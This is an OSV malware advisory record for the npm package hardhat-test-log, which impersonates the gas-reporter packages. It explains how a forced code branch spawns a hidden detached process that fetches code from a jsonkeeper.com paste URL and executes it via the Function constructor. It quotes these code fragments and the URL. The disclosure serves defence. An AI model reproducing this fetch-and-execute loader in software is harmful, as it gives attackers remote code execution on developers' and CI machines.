{"id":"MAL-2026-6369","revision":"167edfb32228468e8dabd0bf790762b8","records":[{"revision":"167edfb32228468e8dabd0bf790762b8","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-6369","aliases":[],"title":"Malicious code in hardhat-test-log (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (741350b4472a82c53151793b413166a5fad36af3d2d14fa1d12afba9eccb9fed)\nPackage impersonates the well-known eth-gas-reporter / hardhat-gas-reporter packages: README is titled 'eth-test-log', copies badges and contributor metadata, and package.json sets author to 'cgewecke' (the real maintainer of those projects). The advertised Mocha reporter entrypoint is a decoy. index.js exports `log` as the reporter, but the function contains `var opt = 1; if (!opt) {...legitimate reporter code... } else { gestest(); }` — the dead-code gate guarantees the else branch always runs, calling utils.connectNet. utils.connectNet (lib/utils.js) spawns `node lib/syncResolve.js` as a detached, unref'd child with stdio ignored, so the dropper persists beyond Mocha teardown and produces no CI output. lib/syncResolve.js then performs `axios.get('https://www.jsonkeeper.com/b/KBZVB', { headers: { 'x-secret-key':... } })`, extracts the `Cookie` field from the response, and executes it in-process via `new Function.constructor('require', result)(require)` — giving attacker-controlled code full Node `require` access. The fetch destination is a public paste-style host with mutable, opaque content and no integrity check, so the operator can rotate the payload at will. Installing/using this package as a Hardhat/Mocha gas reporter triggers remote code execution on the developer's or CI machine.\n","state":0,"publishedAt":"2026-06-24T04:13:05+00:00","modifiedAt":"2026-07-09T16:31:58.5540903+00:00","affected":[{"ecosystem":"npm","name":"hardhat-test-log","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":["1.1.0","1.1.2","1.1.3","1.1.1"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/hardhat-test-log/v/1.1.0","https://www.npmjs.com/package/hardhat-test-log/v/1.1.2","https://www.npmjs.com/package/hardhat-test-log/v/1.1.3","https://www.npmjs.com/package/hardhat-test-log/v/1.1.1"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-6369","license":"OSV · upstream source license applies","key":"osv:MAL-2026-6369","identifiers":["MAL-2026-6369"]},"retained":false,"historicalAffected":[]}],"coverage":[]}